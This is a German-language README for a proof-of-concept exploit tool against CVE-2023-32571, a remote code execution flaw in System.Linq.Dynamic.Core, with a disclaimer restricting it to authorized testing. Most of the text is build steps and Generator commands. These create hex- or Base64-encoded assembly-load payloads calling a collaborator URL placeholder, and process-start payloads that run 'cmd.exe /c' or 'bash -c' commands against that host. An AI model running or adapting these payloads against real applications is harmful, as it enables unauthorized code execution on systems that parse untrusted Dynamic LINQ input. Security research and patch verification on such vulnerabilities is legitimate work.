
Proof of Concept für CVE-2023-32571
Proof of Concept für CVE-2023-32571, eine Schwachstelle zur Remote Code Execution in System.Linq.Dynamic.Core (1.0.7.10 bis 1.2.25). Diese Schwachstelle ermöglicht es Angreifern, beliebigen Code und beliebige Befehle auszuführen, wenn nicht vertrauenswürdige Eingaben an Methoden einschließlich Where, Select, OrderBy geparst werden.
Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllDas Tool unterstützt zwei Modi:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: Ausnutzungsmodus (0=AssemblyLoad, 1=ProcessStart)--file: Pfad zur zu ladenden .NET-Assembly (erforderlich für den AssemblyLoad-Modus)--type: Vollständig qualifizierter Typname, der instanziiert werden soll (erforderlich für den AssemblyLoad-Modus)--parameters: Parameter je nach Modus:
--encoding: Kodierungsmethode für den AssemblyLoad-Modus (0=Hex, 1=Base64)